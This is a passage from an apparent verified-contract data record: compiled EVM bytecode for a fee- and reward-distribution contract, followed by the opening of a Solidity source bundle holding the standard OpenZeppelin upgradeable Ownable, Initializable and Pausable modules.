27e5b46c4241e4115758c499161275a91859190614fb9565b60405180910390a160dd546040517f2cdef2dbe9dd5da2b962e95a6f96fffd5da74e39742c07e985b383a4bf95c433916125c99184916001600160a01b031690614fb9565b600054610100900460ff16158080156127bf5750600054600160ff909116105b806127d95750303b1580156127d9575060005460ff166001145b6127f55760405162461bcd60e51b8152600401610dab90614ec0565b6000805460ff191660011790558015612818576000805461ff0019166101001790555b612826878787878787610d55565b6303b53800610110558015610e98576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb384740249890602001610e8f565b612879612b55565b6001600160a01b0381166128de5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610dab565b6128e781613ab7565b50565b6128f2612b55565b612710811115612915576040516358d620b360e01b815260040160405180910390fd5b60d955565b306001600160a01b031663635202746040518163ffffffff1660e01b8152600401602060405180830381865afa158015612958573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061297c9190614e2b565b60000361299c57604051630da1ec0160e31b815260040160405180910390fd5b60db54158015906129b6575060dc546001600160a01b0316155b806129ca575060dd546001600160a01b0316155b156129e857604051630ad13b3360e21b815260040160405180910390fd5b60d254604051600162525fcd60e11b0319815260009182916001600160a01b039091169063ff5b406690612a249030908890889060040161520b565b6000604051808303816000875af1158015612a43573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052612a6b919081019061529f565b91509150600061271060db5484612a8291906152e5565b612a8c9190615312565b60dc5460ca54919250612aac916001600160a01b039081169116836132ff565b600061271060da5485612abf91906152e5565b612ac99190615312565b60ca54909150612ae3906001600160a01b031633836132ff565b600081612af0848761513b565b612afa919061513b565b60dd5460ca54919250612b1a916001600160a01b039081169116836132ff565b7f3dceb43957dc72b04d40eaf449ac8b867ea8d60ed7d860e9ba977921ab89b46685888887878787604051610e8f9796959493929190615326565b6033546001600160a01b03163314611af75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610dab565b801580612c285750604051636eb1769f60e11b81526001600160a01b0384169063dd62ed3e90612be59030908690600401614fb9565b602060405180830381865afa158015612c02573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c269190614e2b565b155b612c935760405162461bcd60e51b815260206004820152603660248201527f5361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f60448201527520746f206e6f6e2d7a65726f20616c6c6f77616e636560501b6064820152608401610dab565b6120aa8363095ea7b360e01b8484604051602401612cb292919061502e565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152614204565b6000611a2461011054426120269190615073565b600054610100900460ff16612d245760405162461bcd60e51b8152600401610dab90615397565b611af76142d6565b600054610100900460ff16612d535760405162461bcd60e51b8152600401610dab90615397565b611af7614306565b600054610100900460ff16612d825760405162461bcd60e51b8152600401610dab90615397565b611af761432d565b60975460ff1615611af75760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b6044820152606401610dab565b6001600160a01b038216600090815260d56020526040902081158015612e05575060d0546004820154612e03904261513b565b105b15612e0f57505050565b60c9546040516370a0823160e01b81526000916001600160a01b0316906370a0823190612e4090309060040161487d565b602060405180830381865afa158015612e5d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612e819190614e2b565b90504282600401819055506000846001600160a01b031663c4f59f9b6040518163ffffffff1660e01b8152600401600060405180830381865afa158015612ecc573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052612ef4919081019061517d565b9050600081516001600160401b03811115612f1157612f11614928565b604051908082528060200260200182016040528015612f3a578160200160208202803683370190505b50905060005b82518110156130755760006001600160a01b0316838281518110612f6657612f66615047565b60200260200101516001600160a01b031603612fc05760ca5483516001600160a01b0390911690849083908110612f9f57612f9f615047565b60200260200101906001600160a01b031690816001600160a01b0316815250505b828181518110612fd257612fd2615047565b60200260200101516001600160a01b03166370a08231306040518263ffffffff1660e01b8152600401613005919061487d565b602060405180830381865afa158015613022573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130469190614e2b565b82828151811061305857613058615047565b60209081029190910101528061306d8161514e565b915050612f40565b50604051639262187b60e01b81526001600160a01b03871690639262187b906130a290309060040161487d565b6000604051808303816000875af11580156130c1573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526130e991908101906153e2565b5060005b82518110156132735760006001600160a01b031683828151811061311357613113615047565b60200260200101516001600160a01b03160361316d5760ca5483516001600160a01b039091169084908390811061314c5761314c615047565b60200260200101906001600160a01b031690816001600160a01b0316815250505b600083828151811061318157613181615047565b60200260200101516001600160a01b03166370a08231306040518263ffffffff1660e01b81526004016131b4919061487d565b602060405180830381865afa1580156131d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906131f59190614e2b565b9050600083838151811061320b5761320b615047565b60200260200101518261321e919061513b565b905080801561325d5761325d8a87868151811061323d5761323d615047565b602090810291909101015160018b01546001600160a01b03168585613b09565b505050808061326b9061514e565b9150506130ed565b5060c9546040516370a0823160e01b815260009185916001600160a01b03909116906370a08231906132a990309060040161487d565b602060405180830381865afa1580156132c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906132ea9190614e2b565b6132f4919061513b565b9050610e9881613f90565b6120aa8363a9059cbb60e01b8484604051602401612cb292919061502e565b6040516001600160a01b03808516602483015283166044820152606481018290526133569085906323b872dd60e01b90608401612cb2565b50505050565b60c9546040516370a0823160e01b815260009182916001600160a01b03909116906370a082319061339190309060040161487d565b602060405180830381865afa1580156133ae573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906133d29190614e2b565b905060005b85518110156138d65760d560008783815181106133f6576133f6615047565b6020908102919091018101516001600160a01b031682528101919091526040016000206005015460ff1661343d57604051636a325bd960e11b815260040160405180910390fd5b600060d5600088848151811061345557613455615047565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000209050428160040181905550600087838151811061349c5761349c615047565b60200260200101516001600160a01b031663c4f59f9b6040518163ffffffff1660e01b8152600401600060405180830381865afa1580156134e1573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052613509919081019061517d565b9050600081516001600160401b0381111561352657613526614928565b60405190808252806020026020018201604052801561354f578160200160208202803683370190505b50905060005b825181101561368a5760006001600160a01b031683828151811061357b5761357b615047565b60200260200101516001600160a01b0316036135d55760ca5483516001600160a01b03909116908490839081106135b4576135b4615047565b60200260200101906001600160a01b031690816001600160a01b0316815250505b8281815181106135e7576135e7615047565b60200260200101516001600160a01b03166370a08231306040518263ffffffff1660e01b815260040161361a919061487d565b602060405180830381865afa158015613637573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061365b9190614e2b565b82828151811061366d5761366d615047565b6020908102919091010152806136828161514e565b915050613555565b5088848151811061369d5761369d615047565b60200260200101516001600160a01b0316639262187b306040518263ffffffff1660e01b81526004016136d0919061487d565b6000604051808303816000875af11580156136ef573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261371791908101906153e2565b5060005b82518110156138bf57600083828151811061373857613738615047565b60200260200101516001600160a01b03166370a08231306040518263ffffffff1660e01b815260040161376b919061487d565b602060405180830381865afa158015613788573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906137ac9190614e2b565b905060008383815181106137c2576137c2615047565b6020026020010151826137d5919061513b565b90508060008181036137ea57505050506138ad565b60c95487516001600160a01b039091169088908790811061380d5761380d615047565b60200260200101516001600160a01b03160361384d5761271060e1548461383491906152e5565b61383e9190615312565b905061384a818461513b565b91505b613857818c615073565b9a506138a88e8a8151811061386e5761386e615047565b602002602001015188878151811061388857613888615047565b602090810291909101015160018b01546001600160a01b03168686613b09565b505050505b806138b78161514e565b91505061371b565b5050505080806138ce9061514e565b9150506133d7565b5060c9546040516370a0823160e01b8152600091849184916001600160a01b0316906370a082319061390c90309060040161487d565b602060405180830381865afa158015613929573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061394d9190614e2b565b613957919061513b565b613961919061513b565b905061396c81613f90565b82156117f75760c95460e05460405163095ea7b360e01b81526001600160a01b039283169263095ea7b3926139a892911690879060040161502e565b6020604051808303816000875af11580156139c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906139eb9190615416565b5060e05460c95460405163187179c960e11b81526001600160a01b039182166004820152602481018690526044810187905287821660648201529116906330e2f39290608401600060405180830381600087803b158015613a4b57600080fd5b505af1158015613a5f573d6000803e3d6000fd5b50505050505050505050565b613a73614360565b6097805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b604051613aad919061487d565b60405180910390a1565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b8015613f895760c9546001600160a01b0390811690851603613ccc5760005b60d854811015613cc657600060d88281548110613b4757613b47615047565b906000526020600020906002020190508060010160169054906101000a900460ff1615613cb357805460009061271090613b8190876152e5565b613b8b9190615312565b9050613b97818561513b565b60018301549094508190600160a01b900460ff16613c77576001830154600160a81b900460ff16613c5b576001830154613bde906001600160a01b038a8116911683612baf565b60018301546040516347e7a41160e11b81526001600160a01b0390911690638fcf482290613c129084908c90600401615433565b6020604051808303816000875af1158015613c31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613c559190615416565b50613c77565b6001830154613c77906001600160a01b038a81169116836132ff565b600183015460405160008051602061555f83398151915291613ca8918c916001600160a01b0316908c90869061544a565b60405180910390a150505b5080613cbe8161514e565b915050613b28565b50613ecb565b600060d954118015613ce8575060de546001600160a01b031615155b15613ecb5760de5460405163d42ac64360e01b81526000916001600160a01b03169063d42ac64390613d1e90899060040161487d565b602060405180830381865afa158015613d3b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613d5f9190614e2b565b60de546040516315895f4760e31b8152600481018390529192506001600160a01b03169063ac4afa3890602401606060405180830381865afa158015613da9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613dcd9190615474565b6020015115613ec957600061271060d95485613de991906152e5565b613df39190615312565b9050613dff818461513b565b60de54909350613e1c906001600160a01b03888116911683612baf565b60de546040516317be9a5d60e31b815260016004820152602481018490526001600160a01b038881166044830152606482018490529091169063bdf4d2e890608401600060405180830381600087803b158015613e7857600080fd5b505af1158015613e8c573d6000803e3d6000fd5b505060de5460405160008051602061555f8339815191529350613ebf92508a916001600160a01b0316908a90869061544a565b60405180910390a1505b505b613ee06001600160a01b038516846000612baf565b613ef46001600160a01b0385168483612baf565b6040516347e7a41160e11b81526001600160a01b03841690638fcf482290613f229084908890600401615433565b6020604051808303816000875af1158015613f41573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613f659190615416565b5060008051602061555f833981519152858486846040516116bf949392919061544a565b5050505050565b60008082156120aa57613fa2836143a9565b905060005b60d85481101561402657600060d88281548110613fc657613fc6615047565b906000526020600020906002020190508060010160169054906101000a900460ff168015613fff57506001810154600160a01b900460ff165b156140135780546140109085615073565b93505b508061401e8161514e565b915050613fa7565b5060005b60d85481101561335657600060d8828154811061404957614049615047565b906000526020600020906002020190508060010160169054906101000a900460ff16801561408257506001810154600160a01b900460ff165b1561419a57600061271085612710846000015461409f91906152e5565b6140a99190615312565b6140b390866152e5565b6140bd9190615312565b90508015614198576001820154600160a81b900460ff1661417957600182015460cc546140f7916001600160a01b03918216911683612baf565b600182015460cc546040516347e7a41160e11b81526001600160a01b0392831692638fcf48229261413092869290911690600401615433565b6020604051808303816000875af115801561414f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906141739190615416565b50614198565b600182015460cc54614198916001600160a01b039182169116836132ff565b505b50806141a58161514e565b91505061402a565b600062093a806141bd81846154de565b610d259190615504565b6141cf612d8a565b6097805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258613aa03390565b6000614259826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166146579092919063ffffffff16565b8051909150156120aa57808060200190518101906142779190615416565b6120aa5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610dab565b600054610100900460ff166142fd5760405162461bcd60e51b8152600401610dab90615397565b611af733613ab7565b600054610100900460ff166118365760405162461bcd60e51b8152600401610dab90615397565b600054610100900460ff166143545760405162461bcd60e51b8152600401610dab90615397565b6097805460ff19169055565b60975460ff16611af75760405162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b6044820152606401610dab565b60cc546040516370a0823160e01b815260009182916001600160a01b03909116906370a08231906143de90309060040161487d565b602060405180830381865afa1580156143fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061441f9190614e2b565b60df549091506001600160a01b0316156145495760df5460c954614450916001600160a01b03918216911685612baf565b60df54604051634e3c485160e11b815260048101859052600060248201526001600160a01b0390911690639c7890a2906044016020604051808303816000875af11580156144a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906144c69190614e2b565b5060cc546040516370a0823160e01b815282916001600160a01b0316906370a08231906144f790309060040161487d565b602060405180830381865afa158015614514573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906145389190614e2b565b614542919061513b565b9150614651565b60cb5460c954614566916001600160a01b03918216911685612baf565b60cb54604051633188639160e11b815230600482015260248101859052600060448201526001600160a01b0390911690636310c72290606401600060405180830381600087803b1580156145b957600080fd5b505af11580156145cd573d6000803e3d6000fd5b505060cc546040516370a0823160e01b81528493506001600160a01b0390911691506370a082319061460390309060040161487d565b602060405180830381865afa158015614620573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906146449190614e2b565b61464e919061513b565b91505b50919050565b6060614666848460008561466e565b949350505050565b6060824710156146cf5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610dab565b6001600160a01b0385163b6147265760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610dab565b600080866001600160a01b03168587604051614742919061552f565b60006040518083038185875af1925050503d806000811461477f576040519150601f19603f3d011682016040523d82523d6000602084013e614784565b606091505b509150915061479482828661479f565b979650505050505050565b606083156147ae575081612441565b8251156147be5782518084602001fd5b8160405162461bcd60e51b8152600401610dab919061554b565b60008083601f8401126147ea57600080fd5b5081356001600160401b0381111561480157600080fd5b6020830191508360208260051b850101111561481c57600080fd5b9250929050565b6000806020838503121561483657600080fd5b82356001600160401b0381111561484c57600080fd5b614858858286016147d8565b90969095509350505050565b60006020828403121561487657600080fd5b5035919050565b6001600160a01b0391909116815260200190565b6001600160a01b03811681146128e757600080fd5b60008060008060008060c087890312156148bf57600080fd5b86356148ca81614891565b955060208701356148da81614891565b945060408701356148ea81614891565b935060608701356148fa81614891565b9250608087013561490a81614891565b915060a087013561491a81614891565b809150509295509295509295565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f191681016001600160401b038111828210171561496657614966614928565b604052919050565b600082601f83011261497f57600080fd5b81356001600160401b0381111561499857614998614928565b6149ab601f8201601f191660200161493e565b8181528460208386010111156149c057600080fd5b816020850160208301376000918101602001919091529392505050565b600080600080608085870312156149f357600080fd5b84356149fe81614891565b93506020850135925060408501356001600160401b0380821115614a2157600080fd5b614a2d8883890161496e565b93506060870135915080821115614a4357600080fd5b50614a508782880161496e565b91505092959194509250565b600060208284031215614a6e57600080fd5b813561244181614891565b600080600060608486031215614a8e57600080fd5b8335614a9981614891565b92506020840135614aa981614891565b929592945050506040919091013590565b60008060008060808587031215614ad057600080fd5b8435614adb81614891565b93506020850135614aeb81614891565b92506040850135614afb81614891565b9396929550929360600135925050565b60008060408385031215614b1e57600080fd5b8235614b2981614891565b91506020830135614b3981614891565b809150509250929050565b600080600080600060a08688031215614b5c57600080fd5b8535614b6781614891565b94506020860135935060408601359250606086013591506080860135614b8c81614891565b809150509295509295909350565b60008060008060408587031215614bb057600080fd5b84356001600160401b0380821115614bc757600080fd5b614bd3888389016147d8565b90965094506020870135915080821115614bec57600080fd5b50614bf9878288016147d8565b95989497509550505050565b60006001600160401b03821115614c1e57614c1e614928565b5060051b60200190565b60008060408385031215614c3b57600080fd5b8235614c4681614891565b91506020838101356001600160401b03811115614c6257600080fd5b8401601f81018613614c7357600080fd5b8035614c86614c8182614c05565b61493e565b81815260059190911b82018301908381019088831115614ca557600080fd5b928401925b82841015614cc357833582529284019290840190614caa565b80955050505050509250929050565b80151581146128e757600080fd5b60008060008060008060c08789031215614cf957600080fd5b86359550602087013594506040870135614d1281614891565b93506060870135614d2281614cd2565b92506080870135614d3281614cd2565b915060a087013561491a81614cd2565b600080600060408486031215614d5757600080fd5b8335925060208401356001600160401b03811115614d7457600080fd5b614d80868287016147d8565b9497909650939450505050565b60008060008060808587031215614da357600080fd5b843593506020850135614db581614891565b92506040850135614dc581614cd2565b91506060850135614dd581614cd2565b939692955090935050565b600080600060408486031215614df557600080fd5b83356001600160401b03811115614e0b57600080fd5b614e17868287016147d8565b909790965060209590950135949350505050565b600060208284031215614e3d57600080fd5b5051919050565b6001600160801b03858116825284166020820152606060408201819052810182905260006001600160fb1b03831115614e7c57600080fd5b8260051b808560808501379190910160800195945050505050565b600060208284031215614ea957600080fd5b81516001600160801b038116811461244157600080fd5b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b60005b83811015614f29578181015183820152602001614f11565b50506000910152565b60008151808452614f4a816020860160208601614f0e565b601f01601f19169290920160200192915050565b6001600160a01b03858116825284166020820152608060408201819052600090614f8a90830185614f32565b82810360608401526147948185614f32565b600060208284031215614fae57600080fd5b815161244181614891565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b039384168152919092166020820152901515604082015260600190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b6001600160a01b03929092168252602082015260400190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b80820180821115610d2557610d2561505d565b8183526000602080850194508260005b858110156150c45781356150a981614891565b6001600160a01b031687529582019590820190600101615096565b509495945050505050565b6040815260006150e3604083018688615086565b828103602084810191909152848252859181016000805b8781101561512c5784356001600160401b038116808214615119578384fd5b84525093830193918301916001016150fa565b50909998505050505050505050565b81810381811115610d2557610d2561505d565b6000600182016151605761516061505d565b5060010190565b634e487b7160e01b600052603160045260246000fd5b6000602080838503121561519057600080fd5b82516001600160401b038111156151a657600080fd5b8301601f810185136151b757600080fd5b80516151c5614c8182614c05565b81815260059190911b820183019083810190878311156151e457600080fd5b928401925b828410156147945783516151fc81614891565b825292840192908401906151e9565b6001600160a01b03841681526040602082018190526000906152309083018486615086565b95945050505050565b600082601f83011261524a57600080fd5b8151602061525a614c8183614c05565b82815260059290921b8401810191818101908684111561527957600080fd5b8286015b84811015615294578051835291830191830161527d565b509695505050505050565b600080604083850312156152b257600080fd5b8251915060208301516001600160401b038111156152cf57600080fd5b6152db85828601615239565b9150509250929050565b8082028115828204841417610d2557610d2561505d565b634e487b7160e01b600052601260045260246000fd5b600082615321576153216152fc565b500490565b8781526000602060c08184015261534160c08401898b615086565b838103604085015287518082528289019183019060005b8181101561537457835183529284019291840191600101615358565b50506060850197909752505050608081019290925260a090910152949350505050565b6020808252602b908201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960408201526a6e697469616c697a696e6760a81b606082015260800190565b6000602082840312156153f457600080fd5b81516001600160401b0381111561540a57600080fd5b61466684828501615239565b60006020828403121561542857600080fd5b815161244181614cd2565b9182526001600160a01b0316602082015260400190565b6001600160a01b039485168152928416602084015292166040820152606081019190915260800190565b60006060828403121561548657600080fd5b604051606081018181106001600160401b03821117156154a8576154a8614928565b60405282516154b681614891565b815260208301516154c681614cd2565b60208201526040928301519281019290925250919050565b60006001600160801b03838116806154f8576154f86152fc565b92169190910492915050565b6001600160801b038181168382160280821691908281146155275761552761505d565b505092915050565b60008251615541818460208701614f0e565b9190910192915050565b6020815260006124416020830184614f3256fe1d323f65a8226244cebc68e250fb7eef6eb01d6adf48b72e75a032af0716eb00a26469706673582212208f39581346ffa96f4ea781b758c2158add351ceebcd1c6915bf65a395debff2f64736f6c63430008130033 | {{
"language": "Solidity",
"sources": {
"@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/ContextUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Contract module which provides a basic access control mechanism, where\n * there is an account (an owner) that can be granted exclusive access to\n * specific functions.\n *\n * By default, the owner account will be the one that deploys the contract. This\n * can later be changed with {transferOwnership}.\n *\n * This module is used through inheritance. It will make available the modifier\n * `onlyOwner`, which can be applied to your functions to restrict their use to\n * the owner.\n */\nabstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {\n address private _owner;\n\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n\n /**\n * @dev Initializes the contract setting the deployer as the initial owner.\n */\n function __Ownable_init() internal onlyInitializing {\n __Ownable_init_unchained();\n }\n\n function __Ownable_init_unchained() internal onlyInitializing {\n _transferOwnership(_msgSender());\n }\n\n /**\n * @dev Throws if called by any account other than the owner.\n */\n modifier onlyOwner() {\n _checkOwner();\n _;\n }\n\n /**\n * @dev Returns the address of the current owner.\n */\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n /**\n * @dev Throws if the sender is not the owner.\n */\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n /**\n * @dev Leaves the contract without owner. It will not be possible to call\n * `onlyOwner` functions anymore. Can only be called by the current owner.\n *\n * NOTE: Renouncing ownership will leave the contract without an owner,\n * thereby removing any functionality that is only available to the owner.\n */\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Can only be called by the current owner.\n */\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(newOwner != address(0), \"Ownable: new owner is the zero address\");\n _transferOwnership(newOwner);\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Internal function without access restriction.\n */\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[49] private __gap;\n}\n"
},
"@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (proxy/utils/Initializable.sol)\n\npragma solidity ^0.8.2;\n\nimport \"../../utils/AddressUpgradeable.sol\";\n\n/**\n * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed\n * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an\n * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer\n * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.\n *\n * The initialization functions use a version number. Once a version number is used, it is consumed and cannot be\n * reused. This mechanism prevents re-execution of each \"step\" but allows the creation of new initialization steps in\n * case an upgrade adds a module that needs to be initialized.\n *\n * For example:\n *\n * [.hljs-theme-light.nopadding]\n * ```\n * contract MyToken is ERC20Upgradeable {\n * function initialize() initializer public {\n * __ERC20_init(\"MyToken\", \"MTK\");\n * }\n * }\n * contract MyTokenV2 is MyToken, ERC20PermitUpgradeable {\n * function initializeV2() reinitializer(2) public {\n * __ERC20Permit_init(\"MyToken\");\n * }\n * }\n * ```\n *\n * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as\n * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.\n *\n * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure\n * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.\n *\n * [CAUTION]\n * ====\n * Avoid leaving a contract uninitialized.\n *\n * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation\n * contract, which may impact the proxy. To prevent the implementation contract from being used, you should invoke\n * the {_disableInitializers} function in the constructor to automatically lock it when it is deployed:\n *\n * [.hljs-theme-light.nopadding]\n * ```\n * /// @custom:oz-upgrades-unsafe-allow constructor\n * constructor() {\n * _disableInitializers();\n * }\n * ```\n * ====\n */\nabstract contract Initializable {\n /**\n * @dev Indicates that the contract has been initialized.\n * @custom:oz-retyped-from bool\n */\n uint8 private _initialized;\n\n /**\n * @dev Indicates that the contract is in the process of being initialized.\n */\n bool private _initializing;\n\n /**\n * @dev Triggered when the contract has been initialized or reinitialized.\n */\n event Initialized(uint8 version);\n\n /**\n * @dev A modifier that defines a protected initializer function that can be invoked at most once. In its scope,\n * `onlyInitializing` functions can be used to initialize parent contracts. Equivalent to `reinitializer(1)`.\n */\n modifier initializer() {\n bool isTopLevelCall = !_initializing;\n require(\n (isTopLevelCall && _initialized < 1) || (!AddressUpgradeable.isContract(address(this)) && _initialized == 1),\n \"Initializable: contract is already initialized\"\n );\n _initialized = 1;\n if (isTopLevelCall) {\n _initializing = true;\n }\n _;\n if (isTopLevelCall) {\n _initializing = false;\n emit Initialized(1);\n }\n }\n\n /**\n * @dev A modifier that defines a protected reinitializer function that can be invoked at most once, and only if the\n * contract hasn't been initialized to a greater version before. In its scope, `onlyInitializing` functions can be\n * used to initialize parent contracts.\n *\n * `initializer` is equivalent to `reinitializer(1)`, so a reinitializer may be used after the original\n * initialization step. This is essential to configure modules that are added through upgrades and that require\n * initialization.\n *\n * Note that versions can jump in increments greater than 1; this implies that if multiple reinitializers coexist in\n * a contract, executing them in the right order is up to the developer or operator.\n */\n modifier reinitializer(uint8 version) {\n require(!_initializing && _initialized < version, \"Initializable: contract is already initialized\");\n _initialized = version;\n _initializing = true;\n _;\n _initializing = false;\n emit Initialized(version);\n }\n\n /**\n * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the\n * {initializer} and {reinitializer} modifiers, directly or indirectly.\n */\n modifier onlyInitializing() {\n require(_initializing, \"Initializable: contract is not initializing\");\n _;\n }\n\n /**\n * @dev Locks the contract, preventing any future reinitialization. This cannot be part of an initializer call.\n * Calling this in the constructor of a contract will prevent that contract from being initialized or reinitialized\n * to any version. It is recommended to use this to lock implementation contracts that are designed to be called\n * through proxies.\n */\n function _disableInitializers() internal virtual {\n require(!_initializing, \"Initializable: contract is initializing\");\n if (_initialized < type(uint8).max) {\n _initialized = type(uint8).max;\n emit Initialized(type(uint8).max);\n }\n }\n}\n"
},
"@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (security/Pausable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/ContextUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Contract module which allows children to implement an emergency stop\n * mechanism that can be triggered by an authorized account.\n *\n * This module is used through inheritance. It will make available the\n * modifiers `whenNotPaused` and `whenPaused`, which can be applied to\n * the functions of your contract. Note that they will not be pausable by\n * simply including this module, only once the modifiers are put in place.\n */\nabstract contract PausableUpgradeable is Initializable, ContextUpgradeable {\n /**\n * @dev Emitted when the pause is triggered by `account`.\n */\n event Paused(address account);\n\n /**\n * @dev Emitted when the pause is lifted by `account`.\n */\n event Unpaused(address account);\n\n bool private _paused;\n\n /**\n * @dev Initializes the contract in unpaused state.\n */\n function __Pausable_init() internal onlyInitializing {\n __Pausable_init_unchained();\n }\n\n function __Pausable_init_unchained() internal onlyInitializing {\n _paused = false;\n }\n\n /**\n * @dev Modifier to make a function callable only when the contract is not paused.\n *\n * Requirements:\n *\n * - The contract must not be paused.\n */\n modifier whenNotPaused() {\n _requireNotPaused();\n _;\n }\n\n /**\n * @dev Modifier to make a function callable only when the contract is paused.\n *\n * Requirements:\n *\n * - The contract must be paused.\n */\n modifier whenPaused() {\n _requirePaused();\n _;\n }\n\n /**\n * @dev Returns true if the contract is paused, and false otherwise.\n */\n function paused() public view virtual returns (bool) {\n return _paused;\n }\n\n /**\n * @dev Throws if the contract is paused.\n */\n function _requireNotPaused() internal view virtual {\n require(!paused(), \"Pausable: paused\");\n }\n\n /**\n * @dev Throws if the contract is not paused.\n */\n function _requirePaused() internal view virtual {\n require(paused(), \"Pausable: not paused\");\n }\n\n /**\n * @dev Triggers stopped state.\n *\n * Requirements:\n *\n * - The contract must not be paused.\n */\n function _pause() internal virtual whenNotPaused {\n _paused = true;\n emit Paused(_msgSender());\n }\n\n /**\n * @dev Returns to normal state.\n *\n * Requirements:\n *\n * - The contract must be paused.\n */\n function _unpause() internal virtual whenPaused {\n _paused = false;\n emit Unpaused(_msgSender());\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[49] private __gap;\n}\n"
},
"@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol": {
